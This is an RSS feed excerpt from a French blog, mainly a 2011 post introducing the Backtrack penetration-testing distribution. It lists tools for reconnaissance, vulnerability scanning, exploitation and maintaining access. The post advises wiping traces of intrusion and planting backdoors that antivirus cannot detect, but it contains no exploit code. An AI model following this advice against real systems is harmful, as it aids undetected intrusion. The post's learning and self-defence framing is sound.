<p style="padding-left: 30px;">- Dans la 2ème partie, je me suis permis d&#8217;aller un peu plus loin que prévu, afin que nous puissions y revenir en détail dans les prochains articles (notamment lors des exploitations de failles).</p>
<p>&nbsp;</p>
<h3><span style="color: #003366;">Prochaine étape : Evalutation de vulnérabilité</span></h3>
<p>Source : <a href="http://www.offensive-security.com/">ici</a>, <a href="http://www.paulds.fr/">là</a>, mais aussi mon moteur de recherche préféré, ainsi que la documentation des logiciels proposés.</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/backtrack-collecte-d-informations/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Backtrack &#8211; Introduction</title>
		<link>http://my1.fr/blog/backtrack-introduction/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=backtrack-introduction</link>
		<comments>http://my1.fr/blog/backtrack-introduction/#comments</comments>
		<pubDate>Wed, 20 Jul 2011 21:45:39 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[audit]]></category>
		<category><![CDATA[backtrack]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[sécurité]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=175</guid>
		<description><![CDATA[Tout a commencé il y a quatre ans quand j&#8217;ai cracké mon premier réseau wifi qui était protégé par une clé WEP. La suite &#171;&#160;aircrack&#160;&#187; m&#8217;avait bien aidé ce jour là. J&#8217;étais plutôt fier de moi je l&#8217;avoue, même si ce n&#8217;était que mon propre réseau Wifi (depuis je suis en WPA2 ). A l&#8217;époque, [...]]]></description>
			<content:encoded><![CDATA[<p>Tout a commencé il y a quatre ans quand j&#8217;ai cracké mon premier réseau wifi qui était protégé par une clé WEP. La suite &laquo;&nbsp;aircrack&nbsp;&raquo; m&#8217;avait bien aidé ce jour là. J&#8217;étais plutôt fier de moi je l&#8217;avoue, même si ce n&#8217;était que mon propre réseau Wifi (depuis je suis en WPA2 <img src='http://my1.fr/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  ).</p>
<p>A l&#8217;époque, c&#8217;était juste quelques paquets que j&#8217;avais installé sur ma Debian, et tout allait bien. Puis je me suis mis au développement web, donc il m&#8217;a fallu un logiciel d&#8217;audit (w3af et websecurify). S&#8217;est rajouté ensuite d&#8217;autres outils de découverte réseau pour assouvir ma curiosité.</p>
<p>Il y a un moment où je me suis dit, je veux un OS avec tous ces outils, et si possible une distribution Linux.</p>
<p>Nom de code : Backtrack<br />
Famille : GNU/Linux<br />
Etat du projet : en dev<br />
Sources : Open-source + logiciels libres + logiciels proprios<br />
Version stable actuelle : 5.0<br />
Basée sur : Debian</p>
<p>&nbsp;</p>
<p>Les présentations sont faites. Backtrack est donc une distrib Linux orientée sécurité. Elle est principalement pour réaliser des <a title="Audit, késako ?" href="https://secure.wikimedia.org/wikipedia/fr/wiki/Audit_de_s%C3%A9curit%C3%A9#Pourquoi_un_audit_de_s.C3.A9curit.C3.A9_.3F">audits</a>.</p>
<p>Je vais passer en revue tout ce que l&#8217;on peut faire avec BT, en précisant à chaque fois les outils que j&#8217;ai testés (et qui parfois m&#8217;ont fait halluciner).<br />
Bien entendu, mon plan respecte une chaîne d&#8217;exploit standard.</p>
<p>Pour ceux qui ne voient pas où je veux en venir, je vous résume cela par un petit schéma :</p>
<p>Collecte d&#8217;informations -&gt; Évaluation de vulnérabilités -&gt; Exploitation -&gt; Maintien d&#8217;accès</p>
<ul>
<li><strong>Collecte d&#8217;informations</strong></li>
</ul>
<p>Cette étape permet avant toute chose de savoir qui sera notre victime, et comment elle est équipée : un serveur Windows 2003 ? un routeur Cisco ? un client Linux ? un Wifi protégé par une clé Wep ? un service SNMP un peu trop bavard ? Bref. Nous allons scanner le réseau pour collecter un maximum d&#8217;informations, afin d&#8217;en détecter ses faiblesses.<br />
Parmi les outils proposés, voici ceux qui m&#8217;ont bien servi :</p>
<p>- <strong>nmap</strong> (à utiliser avec discrétion) : scanner de port, OS fingerprinting, détection de services<br />
- <strong>autoscan</strong> : découverte réseau<br />
- <strong>airodump-ng</strong> : écoute wifi<br />
- <strong>webshag</strong> : audit de serveur web</p>
<p><img class="alignnone size-medium wp-image-176" title="Nmap" src="http://my1.fr/blog/wp-content/uploads/2011/07/Capture-300x136.png" alt="" width="300" height="136" /></p>
<p>Exemple de scan avec Nmap</p>
<p>&nbsp;</p>
<p>Next step : évaluer ce qui est exploitable.</p>
<p>&nbsp;</p>
<ul>
<li><strong>Évaluation de vulnérabilité</strong></li>
</ul>
<p>Nous avons appris à connaître notre victime, maintenant nous allons rechercher ses faiblesses. Laissez 5 minutes votre conscience de coté, nous sortons l&#8217;arme lourde.</p>
<p>Sans blablater, voici mes outils préférés :</p>
<p>- <strong>Nessus</strong> : incontournable dans le monde de la sécurité, c&#8217;est certainement un des meilleurs outils d&#8217;audits. Après l&#8217;avoir installé, configuré, et mis à jour avec la commande<strong> nessus-update-plugins</strong>, vous avez entre les mains l&#8217;outil de référence pour scanner les services d&#8217;une machine distante. En plus de vous fournir un tas d&#8217;informations importantes sur votre cible, il vous permettra d&#8217;exporter les résultats sous forme de fichier XML, que l&#8217;on utilisera plus tard avec d&#8217;autres outils pour exécuter les attaques directement.<br />
- <strong>cisco-auditing-tool</strong> : comme son nom l&#8217;indique, cet outil est dédié aux équipements actifs de la firme américaine.<br />
- <strong>joomscan</strong> : outil d&#8217;audit de sites web faits avec le CMS Joomla. J&#8217;ai effectué des tests sur des sites à moi, et je suis devenu tout rouge quand j&#8217;ai vu ce qu&#8217;il me trouvait. Je vous conseille de prendre un calmant avant de lancer l&#8217;outil, si vous auditez votre propre site [humour].<br />
- <strong>w3af &amp; websecurify</strong> : 2 outils ultra-puissants pour l&#8217;audit de sites web : injections SQL, attaques XSS, etc&#8230; ces outils mettront le site distant à nu, et vous éclairerons sur les différentes failles que l&#8217;on pourra exploiter.<br />
- <strong>sqlninja</strong> (MS SQL) &amp; <strong>sqlmap</strong> (MySQL) : 2 outils de découvertes de failles sur des bases de données SQL</p>
<p>A ce stade là, on peut dire que l&#8217;audit est terminé. Quoi, c&#8217;est tout ? bien sûr que non. Je vous ai donné mes outils favoris, mais dans certains cas il m&#8217;a fallu dénicher un outil bien précis pour tel ou tel service.</p>
<p>Imaginons donc que vous connaissez bien votre victime : son adresse IP, le système d&#8217;exploitation, sa version, ses services, leurs versions, etc.</p>
<p>La prochaine étape est décisive : l&#8217;exploitation.</p>
<p>&nbsp;</p>
<ul>
<li><strong>Exploitation</strong></li>
</ul>
<p>C&#8217;est une étape où il faudra utiliser au mieux ses connaissances en informatique, et je pèse mes mots. J&#8217;ai mis un peu de temps pour obtenir mon premier shell sur une victime, avec un peu de sécurité entre bien sûr (pour les curieux, mes tests se font en environnement virtuel uniquement).<br />
Donc je vous met en garde tout de suite : il vous faudra certaines qualités humaines pour réussir l&#8217;exploitation de failles : patience, persévérance et discrétion.</p>
<p>- <strong>Patience</strong> : les outils sont parfois longs à prendre en main, et des moyens d&#8217;exploit demandent parfois de l&#8217;attente comme le keylogging par exemple<br />
- <strong>Persévérance</strong> : une pénétration ne fonctionne rarement du premier coup, ou alors c&#8217;est que vous maîtrisez le truc déjà. Réessayer avec d&#8217;autres outils, ou avec d&#8217;autres méthodes. Bien lire la doc avant de commencer toute action<br />
- <strong>Discrétion</strong> : la devise de BT résume bien le message que je veux vous faire passer : The quieter you become, the more you are able to hear. Ne vous lancer pas dans une attaque style GROS BOURRIN JE PETE TOUT ET JE LAISSE PLEIN DE TRACES !!!! non, restez discrets, et supprimez toute preuve de votre accès (ou tentative d&#8217;accès) en partant.</p>
<p>Ah, j&#8217;ai failli oublié, mes outils préférés d&#8217;exploitation :</p>
<p>- <strong>Metasploit Framework</strong> : incontournable. Il contient tous les <a href="https://secure.wikimedia.org/wikipedia/fr/wiki/Exploit_%28informatique%29">exploits</a> et <a href="https://secure.wikimedia.org/wikipedia/fr/wiki/Payload#Informatique">payloads</a> dont vous aurez besoin pour pénétrer un système. Armitage est une interface graphique au framework, qui ma foi est très utile. Cependant, la ligne de commande est à maîtriser pour se faire la main ! Je vous laisse fouiner sur le net pour y trouver toutes les explications nécessaires à son utilisation.</p>
<p><a href="http://my1.fr/blog/wp-content/uploads/2011/07/Capture-1.png"><img class="alignnone size-medium wp-image-180" title="MSF" src="http://my1.fr/blog/wp-content/uploads/2011/07/Capture-1-300x193.png" alt="" width="300" height="193" /></a></p>
<p>Après exploitation de l&#8217;exploit ms08_067_netapi, j&#8217;ai obtenu un shell.<br />
- <strong>cisco-global-exploiter</strong> : outil regroupant les différents exploits vers le matériel Cisco.<br />
- la suite <strong>aircrack-ng</strong> : outil indispensable pour le cracking wifi.<br />
-<strong> beef-ng</strong> : outil d&#8217;exploitation via le navigateur web (utilisé pour l’ingénierie sociale)</p>
<p><span style="text-decoration: underline;">Petite note perso sur l&#8217;ingénierie sociale :</span></p>
<p>Pour ceux qui ne savent pas ce que c&#8217;est, je les invite à consulter la <a href="https://secure.wikimedia.org/wikipedia/fr/wiki/Ing%C3%A9nierie_sociale_%28s%C3%A9curit%C3%A9_de_l%27information%29">définition</a>, car c&#8217;est une notion très importante en sécurité. Je dirais même plus, c&#8217;est 70% du travail. Pour être hacker, il ne faut donc pas uniquement des talents en informatique, mais également un peu de culot, et surtout penser à la place de sa victime.</p>
<p>&nbsp;</p>
<p>Enfin, une fois le système distant pénétré, il est parfois utile d&#8217;y revenir plus tard. C&#8217;est la prochaine et dernière étape.</p>
<p>&nbsp;</p>
<ul>
<li><strong>Maintien d&#8217;accès</strong></li>
</ul>
<p>Plutôt que de se retaper tout ce qu&#8217;on vient de faire, on va installer un backdoor sur le système, et si possible invisible et indétectable aux yeux de l&#8217;utilisateur et surtout des antivirus/firewalls.<br />
C&#8217;est avec cette étape que j&#8217;ai appris plein de trucs sur les antivirus. En fait, c&#8217;est en créant un virus qu&#8217;on apprend ce qu&#8217;est un virus.</p>
<p>Voici les outils indispensables :</p>
<p>- <strong>Metasploit Framework</strong> : Et oui, encore lui&#8230; décidément, il peut tout faire ! (ou presque <img src='http://my1.fr/blog/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />  )<br />
- <strong>Cryptcat</strong> : version chiffrée de netcat, un des moyens les plus simples et plus rapides de créer un backdoor.</p>
<p>Après avoir fait tout ça, nous méritons une petite pause bien méritée. Je vais en profiter pour préciser certains trucs.</p>
<p>Tout d&#8217;abord, j&#8217;ai longtemps hésiter à écrire cet article, car je ne veux pas qu&#8217;on pense que je suis un vilain hacker boutonneux qui veut &laquo;&nbsp;hack the planet&nbsp;&raquo;. Non. Je veux apprendre et comprendre.</p>
<p>- Apprendre ce que les hackers font, pour mieux les appréhender.<br />
- Comprendre comment ils font pour avoir un certain recul sur les protocoles que j&#8217;utilise sur mes systèmes.</p>
<p>J&#8217;ai appris plusieurs choses :</p>
<p>- des notions techniques que je ne connaissais pas (dont le vocabulaire)<br />
- comment fonctionnait un payload, et un exploit<br />
- comment se protéger un maximum<br />
- qu&#8217;une grande partie du travail était de l&#8217;ingénierie sociale<br />
- qu&#8217;un système n&#8217;était jamais parfaitement sécurisé.</p>
<p>&nbsp;</p>
<p>Ensuite, je voulais dire que ce n&#8217;était qu&#8217;une introduction à une série d&#8217;articles consacrés à Backtrack. Je n&#8217;ai donc pas parler de certaines étapes intermédiaires, comme par exemple l&#8217;escalade de privilèges, ou encore du test de stress.</p>
<p>Une dernière chose. Backtrack contient de nombreux outils d&#8217;audit, mais également un serveur web apache, un serveur de BDD, ainsi que d&#8217;autres services bien utiles. Il convient de la mettre à jour régulièrement afin d&#8217;avoir un système stable, sécurisé, et surtout d&#8217;avoir les dernières nouveautés en matière d&#8217;exploitation. Certaines applications demandent également des mises à jour manuelles (comme Nessus et MSF).</p>
<p>&nbsp;</p>
<p>Je termine par ces mots : entraînez-vous, amusez-vous, mais choisissez votre camp. Backtrack n&#8217;est pas une distribution pour pirater son voisin de palier, mais bien un système d&#8217;exploitation utilisé par des professionnels de l&#8217;informatique, dans un but purement conventionnel. C&#8217;est donc à vos risques et périls que vous utiliserez cet outil ultra-puissant.</p>
<p>Un grand merci aux développeurs.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/backtrack-introduction/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>

